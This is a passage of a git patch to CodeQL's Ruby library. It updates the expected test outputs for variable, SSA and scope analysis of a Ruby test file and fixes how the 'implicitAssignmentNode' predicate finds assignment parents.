scopes.rb:1:1:73:3 | self | scopes.rb:10:4:10:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:12:4:12:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:14:4:14:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:15:4:15:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:16:4:16:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:17:4:17:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:10:4:10:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:12:4:12:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:14:4:14:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:15:4:15:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:16:4:16:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:17:4:17:9 | self | | scopes.rb:11:4:11:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:12:9:12:9 | a | | scopes.rb:13:4:13:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:14:9:14:9 | a | | scopes.rb:13:7:13:7 | b | scopes.rb:13:7:13:7 | b | scopes.rb:15:9:15:9 | b | @@ -311,6 +317,11 @@ read | scopes.rb:68:3:68:4 | xs | scopes.rb:68:3:68:4 | xs | scopes.rb:69:3:69:4 | xs | | scopes.rb:69:11:71:5 | self | scopes.rb:66:1:73:3 | self | scopes.rb:70:5:70:10 | self | | scopes.rb:69:15:69:15 | x | scopes.rb:69:15:69:15 | x | scopes.rb:70:10:70:10 | x | +| scopes.rb:76:3:78:5 | self (name) | scopes.rb:76:3:78:5 | self | scopes.rb:77:5:77:9 | self | +| scopes.rb:80:3:82:5 | self (name=) | scopes.rb:80:3:82:5 | self | scopes.rb:81:5:81:9 | self | +| scopes.rb:80:13:80:17 | value | scopes.rb:80:13:80:17 | value | scopes.rb:81:13:81:17 | value | +| scopes.rb:84:3:88:5 | self (foo) | scopes.rb:84:3:88:5 | self | scopes.rb:85:5:85:13 | self | +| scopes.rb:84:11:84:13 | msg | scopes.rb:84:11:84:13 | msg | scopes.rb:85:11:85:13 | msg | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:3:3:3:8 | self | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:4:3:4:12 | self | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:7:5:7:10 | self | @@ -460,12 +471,12 @@ firstRead | parameters.rb:59:20:59:20 | a | parameters.rb:59:20:59:20 | a | parameters.rb:60:11:60:11 | a | | parameters.rb:59:23:59:23 | b | parameters.rb:59:23:59:23 | b | parameters.rb:60:16:60:16 | b | | parameters.rb:59:25:59:25 | c | parameters.rb:59:25:59:25 | c | parameters.rb:60:21:60:21 | c | -| scopes.rb:1:1:73:3 | self (scopes.rb) | scopes.rb:1:1:73:3 | self | scopes.rb:8:1:8:6 | self | -| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:3:4:3:9 | self | +| scopes.rb:1:1:89:4 | self (scopes.rb) | scopes.rb:1:1:89:4 | self | scopes.rb:8:1:8:6 | self | +| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:3:4:3:9 | self | | scopes.rb:4:4:4:4 | a | scopes.rb:4:4:4:4 | a | scopes.rb:5:9:5:9 | a | | scopes.rb:7:1:7:1 | a | scopes.rb:7:1:7:1 | a | scopes.rb:8:6:8:6 | a | | scopes.rb:9:9:18:3 | a | scopes.rb:7:1:7:1 | a | scopes.rb:10:9:10:9 | a | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:10:4:10:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:10:4:10:9 | self | | scopes.rb:11:4:11:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:12:9:12:9 | a | | scopes.rb:13:4:13:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:14:9:14:9 | a | | scopes.rb:13:7:13:7 | b | scopes.rb:13:7:13:7 | b | scopes.rb:15:9:15:9 | b | @@ -485,6 +496,11 @@ firstRead | scopes.rb:68:3:68:4 | xs | scopes.rb:68:3:68:4 | xs | scopes.rb:69:3:69:4 | xs | | scopes.rb:69:11:71:5 | self | scopes.rb:66:1:73:3 | self | scopes.rb:70:5:70:10 | self | | scopes.rb:69:15:69:15 | x | scopes.rb:69:15:69:15 | x | scopes.rb:70:10:70:10 | x | +| scopes.rb:76:3:78:5 | self (name) | scopes.rb:76:3:78:5 | self | scopes.rb:77:5:77:9 | self | +| scopes.rb:80:3:82:5 | self (name=) | scopes.rb:80:3:82:5 | self | scopes.rb:81:5:81:9 | self | +| scopes.rb:80:13:80:17 | value | scopes.rb:80:13:80:17 | value | scopes.rb:81:13:81:17 | value | +| scopes.rb:84:3:88:5 | self (foo) | scopes.rb:84:3:88:5 | self | scopes.rb:85:5:85:13 | self | +| scopes.rb:84:11:84:13 | msg | scopes.rb:84:11:84:13 | msg | scopes.rb:85:11:85:13 | msg | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:3:3:3:8 | self | | ssa.rb:1:7:1:7 | b | ssa.rb:1:7:1:7 | b | ssa.rb:5:6:5:6 | b | | ssa.rb:2:3:2:3 | i | ssa.rb:2:3:2:3 | i | ssa.rb:3:8:3:8 | i | @@ -557,14 +573,14 @@ adjacentReads | parameters.rb:25:1:28:3 | self (opt_param) | parameters.rb:25:1:28:3 | self | parameters.rb:26:3:26:11 | self | parameters.rb:27:3:27:11 | self | | parameters.rb:25:15:25:18 | name | parameters.rb:25:15:25:18 | name | parameters.rb:25:40:25:43 | name | parameters.rb:26:8:26:11 | name | | parameters.rb:54:9:57:3 | self | parameters.rb:1:1:62:1 | self | parameters.rb:55:4:55:9 | self | parameters.rb:56:4:56:9 | self | -| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:3:4:3:9 | self | scopes.rb:3:9:3:9 | self | -| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:3:9:3:9 | self | scopes.rb:5:4:5:9 | self | +| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:3:4:3:9 | self | scopes.rb:3:9:3:9 | self | +| scopes.rb:2:9:6:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:3:9:3:9 | self | scopes.rb:5:4:5:9 | self | | scopes.rb:9:9:18:3 | a | scopes.rb:7:1:7:1 | a | scopes.rb:10:9:10:9 | a | scopes.rb:11:4:11:4 | a | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:10:4:10:9 | self | scopes.rb:12:4:12:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:12:4:12:9 | self | scopes.rb:14:4:14:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:14:4:14:9 | self | scopes.rb:15:4:15:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:15:4:15:9 | self | scopes.rb:16:4:16:9 | self | -| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:73:3 | self | scopes.rb:16:4:16:9 | self | scopes.rb:17:4:17:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:10:4:10:9 | self | scopes.rb:12:4:12:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:12:4:12:9 | self | scopes.rb:14:4:14:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:14:4:14:9 | self | scopes.rb:15:4:15:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:15:4:15:9 | self | scopes.rb:16:4:16:9 | self | +| scopes.rb:9:9:18:3 | self | scopes.rb:1:1:89:4 | self | scopes.rb:16:4:16:9 | self | scopes.rb:17:4:17:9 | self | | scopes.rb:13:10:13:15 | __synth__2__1 | scopes.rb:13:10:13:15 | __synth__2__1 | scopes.rb:13:11:13:11 | __synth__2__1 | scopes.rb:13:14:13:14 | __synth__2__1 | | scopes.rb:13:19:13:32 | __synth__3 | scopes.rb:13:4:13:32 | __synth__3 | scopes.rb:13:4:13:4 | __synth__3 | scopes.rb:13:7:13:7 | __synth__3 | | scopes.rb:13:19:13:32 | __synth__3 | scopes.rb:13:4:13:32 | __synth__3 | scopes.rb:13:7:13:7 | __synth__3 | scopes.rb:13:10:13:15 | __synth__3 | diff --git a/ruby/ql/test/library-tests/variables/varaccess.expected b/ruby/ql/test/library-tests/variables/varaccess.expected index 56113f13e35..1cd9882283c 100644 --- a/ruby/ql/test/library-tests/variables/varaccess.expected +++ b/ruby/ql/test/library-tests/variables/varaccess.expected @@ -155,43 +155,43 @@ variableAccess | parameters.rb:60:16:60:16 | b | parameters.rb:59:23:59:23 | b | parameters.rb:59:1:61:3 | tuples_nested | | parameters.rb:60:21:60:21 | c | parameters.rb:59:25:59:25 | c | parameters.rb:59:1:61:3 | tuples_nested | | scopes.rb:2:14:2:14 | x | scopes.rb:2:14:2:14 | x | scopes.rb:2:9:6:3 | do ... end | -| scopes.rb:3:4:3:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:3:9:3:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:3:4:3:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:3:9:3:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:4:4:4:4 | a | scopes.rb:4:4:4:4 | a | scopes.rb:2:9:6:3 | do ... end | -| scopes.rb:5:4:5:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:5:4:5:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:5:9:5:9 | a | scopes.rb:4:4:4:4 | a | scopes.rb:2:9:6:3 | do ... end | -| scopes.rb:7:1:7:1 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:8:1:8:6 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:8:6:8:6 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:7:1:7:1 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:8:1:8:6 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:8:6:8:6 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:9:14:9:14 | x | scopes.rb:9:14:9:14 | x | scopes.rb:9:9:18:3 | do ... end | -| scopes.rb:10:4:10:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:10:9:10:9 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:11:4:11:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:11:4:11:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:12:4:12:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:12:9:12:9 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:13:4:13:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:10:4:10:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:10:9:10:9 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:11:4:11:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:11:4:11:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:12:4:12:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:12:9:12:9 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:13:4:13:4 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:13:7:13:7 | b | scopes.rb:13:7:13:7 | b | scopes.rb:9:9:18:3 | do ... end | | scopes.rb:13:11:13:11 | c | scopes.rb:13:11:13:11 | c | scopes.rb:9:9:18:3 | do ... end | | scopes.rb:13:14:13:14 | d | scopes.rb:13:14:13:14 | d | scopes.rb:9:9:18:3 | do ... end | -| scopes.rb:14:4:14:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:14:9:14:9 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:15:4:15:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:14:4:14:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:14:9:14:9 | a | scopes.rb:7:1:7:1 | a | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:15:4:15:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:15:9:15:9 | b | scopes.rb:13:7:13:7 | b | scopes.rb:9:9:18:3 | do ... end | -| scopes.rb:16:4:16:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:16:4:16:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:16:9:16:9 | c | scopes.rb:13:11:13:11 | c | scopes.rb:9:9:18:3 | do ... end | -| scopes.rb:17:4:17:9 | self | scopes.rb:1:1:73:3 | self | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:17:4:17:9 | self | scopes.rb:1:1:89:4 | self | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:17:9:17:9 | d | scopes.rb:13:14:13:14 | d | scopes.rb:9:9:18:3 | do ... end | -| scopes.rb:24:1:24:6 | script | scopes.rb:24:1:24:6 | script | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:27:1:27:1 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:28:8:28:8 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:24:1:24:6 | script | scopes.rb:24:1:24:6 | script | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:27:1:27:1 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:28:8:28:8 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:29:3:29:3 | x | scopes.rb:29:3:29:3 | x | scopes.rb:28:1:30:3 | B | -| scopes.rb:31:10:31:10 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:31:10:31:10 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:32:3:32:3 | x | scopes.rb:32:3:32:3 | x | scopes.rb:31:1:33:3 | class << ... | -| scopes.rb:34:7:34:7 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:73:3 | scopes.rb | -| scopes.rb:34:14:34:14 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:34:7:34:7 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:89:4 | scopes.rb | +| scopes.rb:34:14:34:14 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:35:3:35:3 | x | scopes.rb:35:3:35:3 | x | scopes.rb:34:1:36:3 | C | -| scopes.rb:37:5:37:5 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:37:5:37:5 | x | scopes.rb:27:1:27:1 | x | scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:38:3:38:3 | x | scopes.rb:38:3:38:3 | x | scopes.rb:37:1:39:3 | foo | | scopes.rb:42:2:42:4 | var | scopes.rb:42:2:42:4 | var | scopes.rb:41:1:49:3 | M | | scopes.rb:43:2:43:4 | foo | scopes.rb:43:2:43:4 | foo | scopes.rb:41:1:49:3 | M | @@ -216,6 +216,17 @@ variableAccess | scopes.rb:70:10:70:10 | x | scopes.rb:69:15:69:15 | x | scopes.rb:69:11:71:5 | do ... end | | scopes.rb:72:3:72:8 | self | scopes.rb:66:1:73:3 | self | scopes.rb:66:1:73:3 | ParameterShadowing | | scopes.rb:72:8:72:8 | x | scopes.rb:67:3:67:3 | x | scopes.rb:66:1:73:3 | ParameterShadowing | +| scopes.rb:77:5:77:9 | @name | scopes.rb:77:5:77:9 | @name | scopes.rb:75:1:89:3 | RescueSetter | +| scopes.rb:77:5:77:9 | self | scopes.rb:76:3:78:5 | self | scopes.rb:76:3:78:5 | name | +| scopes.rb:80:13:80:17 | value | scopes.rb:80:13:80:17 | value | scopes.rb:80:3:82:5 | name= | +| scopes.rb:81:5:81:9 | @name | scopes.rb:77:5:77:9 | @name | scopes.rb:75:1:89:3 | RescueSetter | +| scopes.rb:81:5:81:9 | self | scopes.rb:80:3:82:5 | self | scopes.rb:80:3:82:5 | name= | +| scopes.rb:81:13:81:17 | value | scopes.rb:80:13:80:17 | value | scopes.rb:80:3:82:5 | name= | +| scopes.rb:84:11:84:13 | msg | scopes.rb:84:11:84:13 | msg | scopes.rb:84:3:88:5 | foo | +| scopes.rb:85:5:85:13 | self | scopes.rb:84:3:88:5 | self | scopes.rb:84:3:88:5 | foo | +| scopes.rb:85:11:85:13 | msg | scopes.rb:84:11:84:13 | msg | scopes.rb:84:3:88:5 | foo | +| scopes.rb:86:13:86:16 | self | scopes.rb:84:3:88:5 | self | scopes.rb:84:3:88:5 | foo | +| scopes.rb:86:18:86:21 | name | scopes.rb:86:18:86:21 | name | scopes.rb:84:3:88:5 | foo | | ssa.rb:1:7:1:7 | b | ssa.rb:1:7:1:7 | b | ssa.rb:1:1:16:3 | m | | ssa.rb:2:3:2:3 | i | ssa.rb:2:3:2:3 | i | ssa.rb:1:1:16:3 | m | | ssa.rb:3:3:3:8 | self | ssa.rb:1:1:16:3 | self | ssa.rb:1:1:16:3 | m | @@ -370,6 +381,7 @@ explicitWrite | scopes.rb:55:3:55:3 | x | scopes.rb:55:3:55:7 | ... = ... | | scopes.rb:67:3:67:3 | x | scopes.rb:67:3:67:7 | ... = ... | | scopes.rb:68:3:68:4 | xs | scopes.rb:68:3:68:16 | ... = ... | +| scopes.rb:81:5:81:9 | @name | scopes.rb:81:5:81:17 | ... = ... | | ssa.rb:2:3:2:3 | i | ssa.rb:2:3:2:7 | ... = ... | | ssa.rb:6:5:6:5 | i | ssa.rb:6:5:6:9 | ... = ... | | ssa.rb:10:5:10:5 | i | ssa.rb:10:5:10:9 | ... = ... | @@ -422,6 +434,10 @@ implicitWrite | scopes.rb:9:14:9:14 | x | | scopes.rb:60:25:60:25 | x | | scopes.rb:69:15:69:15 | x | +| scopes.rb:80:13:80:17 | value | +| scopes.rb:84:11:84:13 | msg | +| scopes.rb:86:13:86:16 | self | +| scopes.rb:86:18:86:21 | name | | ssa.rb:1:7:1:7 | b | | ssa.rb:18:8:18:8 | x | | ssa.rb:25:8:25:15 | elements | @@ -584,6 +600,12 @@ readAccess | scopes.rb:70:10:70:10 | x | | scopes.rb:72:3:72:8 | self | | scopes.rb:72:8:72:8 | x | +| scopes.rb:77:5:77:9 | @name | +| scopes.rb:77:5:77:9 | self | +| scopes.rb:81:5:81:9 | self | +| scopes.rb:81:13:81:17 | value | +| scopes.rb:85:5:85:13 | self | +| scopes.rb:85:11:85:13 | msg | | ssa.rb:3:3:3:8 | self | | ssa.rb:3:8:3:8 | i | | ssa.rb:4:3:4:12 | self | diff --git a/ruby/ql/test/library-tests/variables/variable.expected b/ruby/ql/test/library-tests/variables/variable.expected index b0e23fb2045..e0873d046d3 100644 --- a/ruby/ql/test/library-tests/variables/variable.expected +++ b/ruby/ql/test/library-tests/variables/variable.expected @@ -94,7 +94,7 @@ | parameters.rb:59:23:59:23 | b | | parameters.rb:59:25:59:25 | c | | scopes.rb:1:1:1:15 | self | -| scopes.rb:1:1:73:3 | self | +| scopes.rb:1:1:89:4 | self | | scopes.rb:2:14:2:14 | x | | scopes.rb:4:4:4:4 | a | | scopes.rb:7:1:7:1 | a | @@ -131,6 +131,14 @@ | scopes.rb:67:3:67:3 | x | | scopes.rb:68:3:68:4 | xs | | scopes.rb:69:15:69:15 | x | +| scopes.rb:75:1:89:3 | self | +| scopes.rb:76:3:78:5 | self | +| scopes.rb:77:5:77:9 | @name | +| scopes.rb:80:3:82:5 | self | +| scopes.rb:80:13:80:17 | value | +| scopes.rb:84:3:88:5 | self | +| scopes.rb:84:11:84:13 | msg | +| scopes.rb:86:18:86:21 | name | | ssa.rb:1:1:16:3 | self | | ssa.rb:1:1:103:3 | self | | ssa.rb:1:7:1:7 | b | diff --git a/ruby/ql/test/library-tests/variables/varscopes.expected b/ruby/ql/test/library-tests/variables/varscopes.expected index 958be320a5d..6e9874ebeb7 100644 --- a/ruby/ql/test/library-tests/variables/varscopes.expected +++ b/ruby/ql/test/library-tests/variables/varscopes.expected @@ -47,7 +47,7 @@ | parameters.rb:54:9:57:3 | do ... end | | parameters.rb:59:1:61:3 | tuples_nested | | scopes.rb:1:1:1:15 | a | -| scopes.rb:1:1:73:3 | scopes.rb | +| scopes.rb:1:1:89:4 | scopes.rb | | scopes.rb:2:9:6:3 | do ... end | | scopes.rb:9:9:18:3 | do ... end | | scopes.rb:26:1:26:12 | A | @@ -60,6 +60,10 @@ | scopes.rb:52:3:53:5 | MyException | | scopes.rb:66:1:73:3 | ParameterShadowing | | scopes.rb:69:11:71:5 | do ... end | +| scopes.rb:75:1:89:3 | RescueSetter | +| scopes.rb:76:3:78:5 | name | +| scopes.rb:80:3:82:5 | name= | +| scopes.rb:84:3:88:5 | foo | | ssa.rb:1:1:16:3 | m | | ssa.rb:1:1:103:3 | ssa.rb | | ssa.rb:18:1:23:3 | m1 | From c3196805897689f056476c0064a82de123e37ee8 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Fri, 29 May 2026 09:59:26 +0200 Subject: [PATCH 028/143] Ruby: Fix bug in `implicitAssignmentNode` --- .../lib/codeql/ruby/ast/internal/Variable.qll | 24 ++++++++++--------- .../test/library-tests/variables/ssa.expected | 2 ++ .../variables/varaccess.expected | 4 +--- .../library-tests/variables/variable.expected | 1 - 4 files changed, 16 insertions(+), 15 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll index 6e92b54c246..5ff48191534 100644 --- a/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll +++ b/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll @@ -11,6 +11,17 @@ private import codeql.ruby.ast.internal.Pattern private import codeql.ruby.ast.internal.Scope private import codeql.ruby.ast.internal.Synthesis +private Ruby::AstNode getAssignmentParent(Ruby::AstNode n) { + result = n.getParent() and + ( + result instanceof Ruby::DestructuredLeftAssignment + or + result instanceof Ruby::LeftAssignmentList + or + result instanceof Ruby::RestAssignment + ) +} + /** * Holds if `n` is in the left-hand-side of an explicit assignment `assignment`. */ @@ -19,16 +30,7 @@ predicate explicitAssignmentNode(Ruby::AstNode n, Ruby::AstNode assignment) { or n = assignment.(Ruby::OperatorAssignment).getLeft() or - exists(Ruby::AstNode parent | - parent = n.getParent() and - explicitAssignmentNode(parent, assignment) - | - parent instanceof Ruby::DestructuredLeftAssignment - or - parent instanceof Ruby::LeftAssignmentList - or - parent instanceof Ruby::RestAssignment - ) + explicitAssignmentNode(getAssignmentParent(n), assignment) } /** Holds if `n` is inside an implicit assignment. */ @@ -49,7 +51,7 @@ predicate implicitAssignmentNode(Ruby::AstNode n) { or n = any(Ruby::For for).getPattern() or - implicitAssignmentNode(n.getParent()) + implicitAssignmentNode(getAssignmentParent(n)) } /** Holds if `n` is inside a parameter. */ diff --git a/ruby/ql/test/library-tests/variables/ssa.expected b/ruby/ql/test/library-tests/variables/ssa.expected index 7808d18dbbe..69222157b05 100644 --- a/ruby/ql/test/library-tests/variables/ssa.expected +++ b/ruby/ql/test/library-tests/variables/ssa.expected @@ -321,6 +321,7 @@ read | scopes.rb:80:3:82:5 | self (name=) | scopes.rb:80:3:82:5 | self | scopes.rb:81:5:81:9 | self | | scopes.rb:80:13:80:17 | value | scopes.rb:80:13:80:17 | value | scopes.rb:81:13:81:17 | value | | scopes.rb:84:3:88:5 | self (foo) | scopes.rb:84:3:88:5 | self | scopes.rb:85:5:85:13 | self | +| scopes.rb:84:3:88:5 | self (foo) | scopes.rb:84:3:88:5 | self | scopes.rb:86:13:86:16 | self | | scopes.rb:84:11:84:13 | msg | scopes.rb:84:11:84:13 | msg | scopes.rb:85:11:85:13 | msg | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:3:3:3:8 | self | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:4:3:4:12 | self | @@ -592,6 +593,7 @@ adjacentReads | scopes.rb:51:1:64:3 | self (ExceptionVariable) | scopes.rb:51:1:64:3 | self | scopes.rb:59:5:59:21 | self | scopes.rb:61:5:61:10 | self | | scopes.rb:51:1:64:3 | self (ExceptionVariable) | scopes.rb:51:1:64:3 | self | scopes.rb:61:5:61:10 | self | scopes.rb:63:3:63:8 | self | | scopes.rb:60:25:60:25 | x | scopes.rb:55:3:55:3 | x | scopes.rb:61:10:61:10 | x | scopes.rb:63:8:63:8 | x | +| scopes.rb:84:3:88:5 | self (foo) | scopes.rb:84:3:88:5 | self | scopes.rb:85:5:85:13 | self | scopes.rb:86:13:86:16 | self | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:3:3:3:8 | self | ssa.rb:4:3:4:12 | self | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:4:3:4:12 | self | ssa.rb:7:5:7:10 | self | | ssa.rb:1:1:16:3 | self (m) | ssa.rb:1:1:16:3 | self | ssa.rb:4:3:4:12 | self | ssa.rb:11:5:11:10 | self | diff --git a/ruby/ql/test/library-tests/variables/varaccess.expected b/ruby/ql/test/library-tests/variables/varaccess.expected index 1cd9882283c..22f37fda64c 100644 --- a/ruby/ql/test/library-tests/variables/varaccess.expected +++ b/ruby/ql/test/library-tests/variables/varaccess.expected @@ -226,7 +226,6 @@ variableAccess | scopes.rb:85:5:85:13 | self | scopes.rb:84:3:88:5 | self | scopes.rb:84:3:88:5 | foo | | scopes.rb:85:11:85:13 | msg | scopes.rb:84:11:84:13 | msg | scopes.rb:84:3:88:5 | foo | | scopes.rb:86:13:86:16 | self | scopes.rb:84:3:88:5 | self | scopes.rb:84:3:88:5 | foo | -| scopes.rb:86:18:86:21 | name | scopes.rb:86:18:86:21 | name | scopes.rb:84:3:88:5 | foo | | ssa.rb:1:7:1:7 | b | ssa.rb:1:7:1:7 | b | ssa.rb:1:1:16:3 | m | | ssa.rb:2:3:2:3 | i | ssa.rb:2:3:2:3 | i | ssa.rb:1:1:16:3 | m | | ssa.rb:3:3:3:8 | self | ssa.rb:1:1:16:3 | self | ssa.rb:1:1:16:3 | m | @@ -436,8 +435,6 @@ implicitWrite | scopes.rb:69:15:69:15 | x | | scopes.rb:80:13:80:17 | value | | scopes.rb:84:11:84:13 | msg | -| scopes.rb:86:13:86:16 | self | -| scopes.rb:86:18:86:21 | name | | ssa.rb:1:7:1:7 | b | | ssa.rb:18:8:18:8 | x | | ssa.rb:25:8:25:15 | elements | @@ -606,6 +603,7 @@ readAccess | scopes.rb:81:13:81:17 | value | | scopes.rb:85:5:85:13 | self | | scopes.rb:85:11:85:13 | msg | +| scopes.rb:86:13:86:16 | self | | ssa.rb:3:3:3:8 | self | | ssa.rb:3:8:3:8 | i | | ssa.rb:4:3:4:12 | self | diff --git a/ruby/ql/test/library-tests/variables/variable.expected b/ruby/ql/test/library-tests/variables/variable.expected index e0873d046d3..32e4c87bb93 100644 --- a/ruby/ql/test/library-tests/variables/variable.expected +++ b/ruby/ql/test/library-tests/variables/variable.expected @@ -138,7 +138,6 @@ | scopes.rb:80:13:80:17 | value | | scopes.rb:84:3:88:5 | self 